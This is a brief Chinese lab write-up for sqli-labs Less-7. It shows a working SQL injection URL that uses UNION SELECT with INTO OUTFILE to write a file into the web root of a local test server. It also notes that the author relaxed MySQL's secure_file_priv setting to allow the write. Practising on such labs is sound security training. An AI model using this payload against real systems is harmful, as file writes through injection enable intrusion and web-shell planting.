Less-7: 输出文件

sql导出文件语句

select * from table_test into outfile 'test.txt'

既然名字是输出文件，那肯定是和文件有关系。

首先，确保sql有写文件权限，即my.ini中有类似下面的语句。这里我作弊了，直接设置了sqli-labs-master的文件夹可以写文件。

secure_file_priv="D:/phpStudy/WWW/sqli-labs-master"

中间过程略过。最终写文件的语句为：

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,@@version into outfile 'D:\\phpStudy\\WWW\\sqli-labs-master\\test_7.txt' -- a

直接通过http请求可以看到页面

http://127.0.0.1/sqli-labs-master/test_7.txt